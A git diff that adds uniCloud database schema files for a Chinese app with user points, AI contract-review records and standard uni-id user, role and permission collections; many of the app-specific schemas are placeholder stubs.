diff --git a/uniCloud-tcb/database/jjx-order-selfProduct.schema.json b/uniCloud-tcb/database/jjx-order-selfProduct.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-order-selfProduct.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-order.schema.json b/uniCloud-tcb/database/jjx-order.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-order.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-other-article-category.schema.json b/uniCloud-tcb/database/jjx-other-article-category.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-other-article-category.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-other-article.schema.json b/uniCloud-tcb/database/jjx-other-article.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-other-article.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-points-log.schema.json b/uniCloud-tcb/database/jjx-points-log.schema.json
new file mode 100644
index 0000000..20e7ebd
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-points-log.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"properties":{"_id":{"description":"记录ID,系统自动生成","bsonType":"string"},"user_id":{"bsonType":"string","title":"用户ID","description":"关联 uni-id-users._id","foreignKey":"uni-id-users._id"},"type":{"bsonType":"string","title":"变动类型","description":"earn=获得 spend=消耗","enum":[{"text":"获得","value":"earn"},{"text":"消耗","value":"spend"}]},"amount":{"bsonType":"number","title":"变动数量","description":"正数为获得,负数为消耗"},"balance_after":{"bsonType":"number","title":"变动后余额","description":"本次变动后的积分余额"},"reason":{"bsonType":"string","title":"变动原因","description":"如:新用户赠送、积分充值、合同审查消耗","trim":"both"},"biz_type":{"bsonType":"string","title":"业务类型","description":"关联的业务类型","enum":[{"text":"赠送","value":"gift"},{"text":"充值","value":"recharge"},{"text":"合同审查","value":"contract_review"},{"text":"签到","value":"checkin"},{"text":"其他","value":"other"}]},"biz_id":{"bsonType":"string","title":"业务ID","description":"关联的业务记录ID(如订单ID)"},"_add_time":{"bsonType":"date","title":"创建时间","description":"记录创建时间,系统自动填充"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-process-category.schema.json b/uniCloud-tcb/database/jjx-process-category.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-process-category.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-process-quote.schema.json b/uniCloud-tcb/database/jjx-process-quote.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-process-quote.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-process-sheet.schema.json b/uniCloud-tcb/database/jjx-process-sheet.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-process-sheet.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-quote-num-config.schema.json b/uniCloud-tcb/database/jjx-quote-num-config.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-quote-num-config.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-qyb-log.schema.json b/uniCloud-tcb/database/jjx-qyb-log.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-qyb-log.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-qyb.schema.json b/uniCloud-tcb/database/jjx-qyb.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-qyb.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-review-records.schema.json b/uniCloud-tcb/database/jjx-review-records.schema.json
new file mode 100644
index 0000000..6bbfb24
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-review-records.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"properties":{"_id":{"description":"记录ID,系统自动生成","bsonType":"string"},"user_id":{"bsonType":"string","title":"用户ID","description":"关联 uni-id-users._id","foreignKey":"uni-id-users._id"},"file_name":{"bsonType":"string","title":"文件名","description":"上传的合同文件名","trim":"both"},"file_size":{"bsonType":"number","title":"文件大小","description":"文件大小(字节)"},"file_id":{"bsonType":"string","title":"扣子文件ID","description":"上传到扣子后的 file_id"},"file_url":{"bsonType":"string","title":"文件预览地址","description":"uniCloud 云存储临时链接,用于查看\/下载原文件"},"html_url":{"bsonType":"string","title":"HTML报告地址","description":"精美 HTML 审查报告链接"},"pdf_url":{"bsonType":"string","title":"PDF报告地址","description":"PDF 审查报告下载链接"},"contract_info":{"bsonType":"object","title":"合同结构化信息","description":"AI 返回的合同名称、风险等级、风险统计等"},"chat_id":{"bsonType":"string","title":"对话ID","description":"扣子对话 chat_id"},"conversation_id":{"bsonType":"string","title":"会话ID","description":"扣子会话 conversation_id"},"status":{"bsonType":"string","title":"审查状态","description":"uploaded=待审查 reviewing=等待处理 processing=审查中 completed=已完成 failed=失败","enum":[{"text":"待审查","value":"uploaded"},{"text":"等待处理","value":"reviewing"},{"text":"审查中","value":"processing"},{"text":"已完成","value":"completed"},{"text":"失败","value":"failed"}]},"result":{"bsonType":"string","title":"审查结果","description":"AI 返回的审查结果内容"},"points_used":{"bsonType":"number","title":"消耗积分","description":"本次审查消耗的积分数量(token_count \/ 100)"},"token_count":{"bsonType":"number","title":"Token消耗","description":"扣子返回的 token 总消耗"},"_add_time":{"bsonType":"date","title":"创建时间","description":"记录创建时间"},"update_time":{"bsonType":"date","title":"更新时间","description":"最后更新时间"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-seal.schema.json b/uniCloud-tcb/database/jjx-seal.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-seal.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-self-support-quote-list.schema.json b/uniCloud-tcb/database/jjx-self-support-quote-list.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-self-support-quote-list.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-self-support.schema.json b/uniCloud-tcb/database/jjx-self-support.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-self-support.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-sign-pay_list.schema.json b/uniCloud-tcb/database/jjx-sign-pay_list.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-sign-pay_list.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-site-config.schema.json b/uniCloud-tcb/database/jjx-site-config.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-site-config.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-spot-ad.schema.json b/uniCloud-tcb/database/jjx-spot-ad.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-spot-ad.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-spot-amount.schema.json b/uniCloud-tcb/database/jjx-spot-amount.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-spot-amount.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-spot-category.schema.json b/uniCloud-tcb/database/jjx-spot-category.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-spot-category.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-spot-cooperate.schema.json b/uniCloud-tcb/database/jjx-spot-cooperate.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-spot-cooperate.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-spot-goods.schema.json b/uniCloud-tcb/database/jjx-spot-goods.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-spot-goods.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-steal-factory.schema.json b/uniCloud-tcb/database/jjx-steal-factory.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-steal-factory.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-user-address.schema.json b/uniCloud-tcb/database/jjx-user-address.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-user-address.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-user-article.schema.json b/uniCloud-tcb/database/jjx-user-article.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-user-article.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-user-balance-log.schema.json b/uniCloud-tcb/database/jjx-user-balance-log.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-user-balance-log.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-user-contract.schema.json b/uniCloud-tcb/database/jjx-user-contract.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-user-contract.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-user-level.schema.json b/uniCloud-tcb/database/jjx-user-level.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-user-level.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-user-points.schema.json b/uniCloud-tcb/database/jjx-user-points.schema.json
new file mode 100644
index 0000000..5d77842
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-user-points.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"properties":{"_id":{"description":"用户ID(与 uni-id-users._id 对应)","bsonType":"string"},"balance":{"bsonType":"number","title":"积分余额","description":"当前可用积分","defaultValue":0,"minimum":0},"total_earned":{"bsonType":"number","title":"累计获得","description":"累计获得的积分总数","defaultValue":0},"total_spent":{"bsonType":"number","title":"累计消耗","description":"累计消耗的积分总数","defaultValue":0},"gift":{"bsonType":"number","title":"赠送积分","description":"新用户赠送的积分数量","defaultValue":500},"update_time":{"bsonType":"date","title":"更新时间","description":"最后更新时间"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/jjx-user-quote-num.schema.json b/uniCloud-tcb/database/jjx-user-quote-num.schema.json
new file mode 100644
index 0000000..e1e3915
--- /dev/null
+++ b/uniCloud-tcb/database/jjx-user-quote-num.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"}}}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/opendb-admin-log.schema.json b/uniCloud-tcb/database/opendb-admin-log.schema.json
new file mode 100644
index 0000000..76a2b8a
--- /dev/null
+++ b/uniCloud-tcb/database/opendb-admin-log.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":["user_id","content"],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"},"user_id":{"bsonType":"string","description":"用户id,参考uni-id-users表"},"user_name":{"bsonType":"string","description":"用户名或昵称,冗余设计","title":"用户"},"content":{"bsonType":"string","description":"日志内容,如:修改密码","title":"内容"},"ip":{"bsonType":"string","description":"ip地址","title":"IP","forceDefaultValue":{"$env":"clientIP"}},"create_date":{"bsonType":"timestamp","description":"创建时间","title":"时间","forceDefaultValue":{"$env":"now"}}},"version":"0.0.1"}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/opendb-admin-menus.schema.json b/uniCloud-tcb/database/opendb-admin-menus.schema.json
new file mode 100644
index 0000000..647e1c8
--- /dev/null
+++ b/uniCloud-tcb/database/opendb-admin-menus.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":["name","menu_id"],"properties":{"_id":{"description":"存储文档 ID,系统自动生成"},"menu_id":{"bsonType":"string","description":"菜单项的ID,不可重复","trim":"both"},"name":{"bsonType":"string","description":"菜单名称","trim":"both"},"icon":{"bsonType":"string","description":"菜单图标","trim":"both"},"url":{"bsonType":"string","description":"菜单url","trim":"both"},"comment":{"bsonType":"string","description":"备注,菜单说明"},"sort":{"bsonType":"int","description":"菜单序号(越大越靠后)"},"parent_id":{"bsonType":"string","description":"父级菜单Id"},"permission":{"bsonType":"array","description":"菜单权限列表"},"enable":{"bsonType":"bool","description":"是否启用菜单,true启用、false禁用"},"create_date":{"bsonType":"timestamp","description":"菜单创建时间","forceDefaultValue":{"$env":"now"}}},"version":"0.0.1"}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/opendb-app-list.schema.json b/uniCloud-tcb/database/opendb-app-list.schema.json
new file mode 100644
index 0000000..2777188
--- /dev/null
+++ b/uniCloud-tcb/database/opendb-app-list.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":["appid","name"],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"},"appid":{"bsonType":"string","description":"应用的AppID","label":"AppID","componentForEdit":{"name":"uni-easyinput","props":{":disabled":true}}},"name":{"bsonType":"string","description":"应用名称","label":"应用名称","componentForEdit":{"name":"uni-easyinput","props":{":disabled":true}}},"description":{"bsonType":"string","description":"应用描述","label":"应用描述","componentForEdit":{"name":"textarea"},"componentForShow":{"name":"textarea","props":{":disabled":true}}},"creator_uid":{"description":"创建者的user_id,创建者必然是用户,不随应用转让而改变","bsonType":"string"},"owner_type":{"bsonType":"int","description":"应用当前归属者类型,1:个人,2:企业"},"owner_id":{"bsonType":"string","description":"应用当前归属者的id,user_id or enterprise_id"},"managers":{"bsonType":"array","description":"应用管理员ID列表"},"members":{"bsonType":"array","description":"团队成员ID列表"},"icon_url":{"bsonType":"string","trim":"both","description":"应用图标链接","label":"应用图标"},"introduction":{"bsonType":"string","trim":"both","description":"应用简介","label":"应用简介","componentForEdit":{"name":"uni-easyinput","props":{"disabled":true}}},"screenshot":{"bsonType":"array","description":"应用截图","label":"应用截图"},"app_android":{"bsonType":"object","description":"安卓 App 相关信息","properties":{"name":{"bsonType":"string","description":"快应用名称","label":"快应用名称"},"url":{"bsonType":"string","description":"安卓可下载安装包地址","label":"安卓下载地址"}}},"app_ios":{"bsonType":"object","description":"苹果 App 相关信息","properties":{"name":{"bsonType":"string","description":"快应用名称","label":"快应用名称"},"url":{"bsonType":"string","description":"AppStore 上架地址","label":"AppStore 地址"}}},"mp_weixin":{"bsonType":"object","description":"微信小程序相关信息","label":"微信小程序","properties":{"name":{"bsonType":"string","description":"小程序名字"},"qrcode_url":{"bsonType":"string","description":"二维码url"}}},"mp_alipay":{"bsonType":"object","description":"支付宝小程序相关信息","label":"支付宝小程序","properties":{"name":{"bsonType":"string","description":"小程序名字"},"qrcode_url":{"bsonType":"string","description":"二维码url"}}},"mp_baidu":{"bsonType":"object","description":"百度小程序相关信息","label":"百度小程序","properties":{"name":{"bsonType":"string","description":"小程序名字"},"qrcode_url":{"bsonType":"string","description":"二维码url"}}},"mp_toutiao":{"bsonType":"object","description":"头条小程序相关信息","label":"头条小程序","properties":{"name":{"bsonType":"string","description":"小程序名字"},"qrcode_url":{"bsonType":"string","description":"二维码url"}}},"mp_qq":{"bsonType":"object","description":"QQ小程序相关信息","label":"QQ小程序","properties":{"name":{"bsonType":"string","description":"小程序名字"},"qrcode_url":{"bsonType":"string","description":"二维码url"}}},"mp_kuaishou":{"bsonType":"object","description":"快手小程序相关信息","label":"快手小程序","properties":{"name":{"bsonType":"string","description":"小程序名字"},"qrcode_url":{"bsonType":"string","description":"二维码url"}}},"mp_lark":{"bsonType":"object","description":"飞书小程序相关信息","label":"飞书小程序","properties":{"name":{"bsonType":"string","description":"小程序名字"},"qrcode_url":{"bsonType":"string","description":"二维码url"}}},"mp_jd":{"bsonType":"object","description":"京东小程序相关信息","label":"京东小程序","properties":{"name":{"bsonType":"string","description":"小程序名字"},"qrcode_url":{"bsonType":"string","description":"二维码url"}}},"mp_dingtalk":{"bsonType":"object","description":"钉钉小程序相关信息","label":"钉钉小程序","properties":{"name":{"bsonType":"string","description":"小程序名字"},"qrcode_url":{"bsonType":"string","description":"二维码url"}}},"h5":{"bsonType":"object","properties":{"url":{"bsonType":"string","description":"H5 可访问链接"}}},"quickapp":{"bsonType":"object","properties":{"name":{"bsonType":"string","description":"快应用名称","label":"快应用名称"},"qrcode_url":{"bsonType":"string","description":"快应用二维码url"}}},"store_list":{"bsonType":"array","description":"发布的应用市场","label":"应用市场","properties":{"id":{"bsonType":"string","description":"应用id,自动生成","label":"id"},"name":{"bsonType":"string","description":"应用名称","label":"应用名称"},"scheme":{"bsonType":"string","description":"应用 scheme","label":"应用 scheme"},"enable":{"bsonType":"bool","description":"是否启用"},"priority":{"bsonType":"int","description":"按照从大到小排序","label":"优先级"}}},"create_date":{"bsonType":"timestamp","label":"创建时间","forceDefaultValue":{"$env":"now"},"componentForEdit":{"name":"uni-dateformat"}}},"version":"0.0.1"}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/opendb-app-versions.schema.json b/uniCloud-tcb/database/opendb-app-versions.schema.json
new file mode 100644
index 0000000..13fb7f7
--- /dev/null
+++ b/uniCloud-tcb/database/opendb-app-versions.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":["appid","uni_platform","version","type","create_env"],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"记录id,自动生成"},"appid":{"bsonType":"string","trim":"both","description":"应用的AppID","label":"AppID","componentForEdit":{"name":"uni-easyinput","props":{"disabled":true}}},"name":{"bsonType":"string","trim":"both","description":"应用名称","label":"应用名称","componentForEdit":{"name":"uni-easyinput","props":{"disabled":true}}},"title":{"bsonType":"string","description":"更新标题","label":"更新标题"},"contents":{"bsonType":"string","description":"更新内容","label":"更新内容","componentForEdit":{"name":"textarea"},"componentForShow":{"name":"textarea","props":{"disabled":true}}},"platform":{"bsonType":"array","enum":[{"value":"Android","text":"安卓"},{"value":"iOS","text":"苹果"}],"description":"更新平台,Android || iOS || [Android, iOS]","label":"平台"},"type":{"bsonType":"string","enum":[{"value":"native_app","text":"原生App安装包"},{"value":"wgt","text":"Wgt资源包"}],"description":"安装包类型,native_app || wgt","label":"安装包类型"},"uni_platform":{"bsonType":"string","description":"uni平台信息,如:mp-weixin\/web\/ios\/android","label":"uni 平台"},"version":{"bsonType":"string","description":"当前包版本号,必须大于当前线上发行版本号","label":"版本号"},"min_uni_version":{"bsonType":"string","description":"原生App最低版本","label":"原生App最低版本"},"url":{"bsonType":"string","description":"可下载或跳转的链接","label":"链接"},"stable_publish":{"bsonType":"bool","description":"是否上线发行","label":"上线发行"},"is_silently":{"bsonType":"bool","description":"是否静默更新","label":"静默更新","defaultValue":false},"is_mandatory":{"bsonType":"bool","description":"是否强制更新","label":"强制更新","defaultValue":false},"create_date":{"bsonType":"timestamp","label":"上传时间","forceDefaultValue":{"$env":"now"},"componentForEdit":{"name":"uni-dateformat"}},"create_env":{"bsonType":"string","description":"创建来源,uni-stat:uni统计自动创建,upgrade-center:升级中心管理员创建"},"store_list":{"bsonType":"array","description":"发布的应用市场","label":"应用市场","properties":{"id":{"bsonType":"string","description":"应用id,自动生成","label":"id"},"name":{"bsonType":"string","description":"应用名称","label":"应用名称"},"scheme":{"bsonType":"string","description":"应用 scheme","label":"应用 scheme"},"enable":{"bsonType":"bool","description":"是否启用"},"priority":{"bsonType":"int","description":"按照从大到小排序","label":"优先级"}}}},"version":"0.0.1"}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/opendb-open-data.schema.json b/uniCloud-tcb/database/opendb-open-data.schema.json
new file mode 100644
index 0000000..8eb8109
--- /dev/null
+++ b/uniCloud-tcb/database/opendb-open-data.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":["_id","value"],"properties":{"_id":{"bsonType":"string","description":"key,格式:uni-id:[provider]:[appid]:[openid]:[access-token|user-access-token|session-key|encrypt-key-version|ticket]"},"value":{"bsonType":"object","description":"字段_id对应的值"},"expired":{"bsonType":"timestamp","description":"过期时间"}},"version":"0.0.1"}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/opendb-tempdata.schema.json b/uniCloud-tcb/database/opendb-tempdata.schema.json
new file mode 100644
index 0000000..f7a9a3b
--- /dev/null
+++ b/uniCloud-tcb/database/opendb-tempdata.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":["value","expired"],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"ID,系统自动生成"},"value":{"description":"值"},"expired":{"description":"过期时间","bsonType":"timestamp"}},"version":"0.0.1"}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/opendb-verify-codes.schema.json b/uniCloud-tcb/database/opendb-verify-codes.schema.json
new file mode 100644
index 0000000..d376194
--- /dev/null
+++ b/uniCloud-tcb/database/opendb-verify-codes.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":[],"properties":{"_id":{"description":"ID,系统自动生成"},"mobile":{"bsonType":"string","description":"手机号码"},"email":{"bsonType":"string","description":"邮箱"},"device_uuid":{"bsonType":"string","description":"设备UUID,常用于图片验证码"},"code":{"bsonType":"string","description":"验证码"},"scene":{"bsonType":"string","description":"使用验证码的场景,如:login, bind, unbind, pay"},"state":{"bsonType":"int","description":"验证状态:0 未验证、1 已验证、2 已作废"},"ip":{"bsonType":"string","description":"请求时客户端IP地址"},"created_date":{"bsonType":"timestamp","description":"创建时间"},"expired_date":{"bsonType":"timestamp","description":"过期时间"}},"version":"0.0.1"}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/uni-id-log.schema.json b/uniCloud-tcb/database/uni-id-log.schema.json
new file mode 100644
index 0000000..8c6905a
--- /dev/null
+++ b/uniCloud-tcb/database/uni-id-log.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","properties":{"_id":{"description":"ID,系统自动生成"},"create_date":{"bsonType":"timestamp","description":"创建时间","forceDefaultValue":{"$env":"now"}},"device_id":{"bsonType":"string","description":"设备唯一标识"},"ip":{"bsonType":"string","description":"ip地址"},"state":{"bsonType":"int","description":"结果:0 失败、1 成功"},"type":{"bsonType":"string","description":"操作类型","enum":["logout","login","register","reset-pwd","bind-mobile","bind-weixin","bind-qq","bind-apple","bind-alipay"]},"ua":{"bsonType":"string","description":"userAgent"},"user_id":{"bsonType":"string","foreignKey":"uni-id-users._id","description":"用户id,参考uni-id-users表"},"username":{"bsonType":"string","description":"用户名"},"email":{"bsonType":"string","description":"邮箱"},"mobile":{"bsonType":"string","description":"手机号"},"appid":{"bsonType":"string","description":"客户端DCloud AppId"}},"required":[],"version":"0.0.1"}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/uni-id-permissions.schema.json b/uniCloud-tcb/database/uni-id-permissions.schema.json
new file mode 100644
index 0000000..f9ea23f
--- /dev/null
+++ b/uniCloud-tcb/database/uni-id-permissions.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":["permission_id","permission_name"],"properties":{"_id":{"description":"存储文档 ID,系统自动生成"},"permission_id":{"bsonType":"string","description":"权限唯一标识,不可修改,不允许重复","label":"权限标识","trim":"both","title":"权限ID","component":{"name":"input"}},"permission_name":{"bsonType":"string","description":"权限名称","label":"权限名称","title":"权限名称","trim":"both","component":{"name":"input"}},"comment":{"bsonType":"string","description":"备注","label":"备注","title":"备注","trim":"both","component":{"name":"textarea"}},"create_date":{"bsonType":"timestamp","description":"创建时间","forceDefaultValue":{"$env":"now"}}},"version":"0.0.1"}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/uni-id-roles.schema.json b/uniCloud-tcb/database/uni-id-roles.schema.json
new file mode 100644
index 0000000..a0d328f
--- /dev/null
+++ b/uniCloud-tcb/database/uni-id-roles.schema.json
@@ -0,0 +1 @@
+{"bsonType":"object","required":["role_id"],"permission":{"read":false,"create":false,"update":false,"delete":false},"properties":{"_id":{"description":"存储文档 ID,系统自动生成"},"role_id":{"title":"唯一ID","bsonType":"string","description":"角色唯一标识,不可修改,不允许重复","trim":"both"},"role_name":{"title":"名称","bsonType":"string","description":"角色名称","trim":"both"},"permission":{"title":"权限","bsonType":"array","foreignKey":"uni-id-permissions.permission_id","description":"角色拥有的权限列表"},"comment":{"title":"备注","bsonType":"string","description":"备注","trim":"both"},"create_date":{"bsonType":"timestamp","description":"创建时间","forceDefaultValue":{"$env":"now"}}},"version":"0.0.1"}
\ No newline at end of file
diff --git a/uniCloud-tcb/database/uni-id-users.schema.json b/uniCloud-tcb/database/uni-id-users.schema.json
new file mode 100644
index 0000000..e6dd7fa
--- /dev/null
+++ b/uniCloud-tcb/database/uni-id-users.schema.json
@@ -0,0 +1 @@
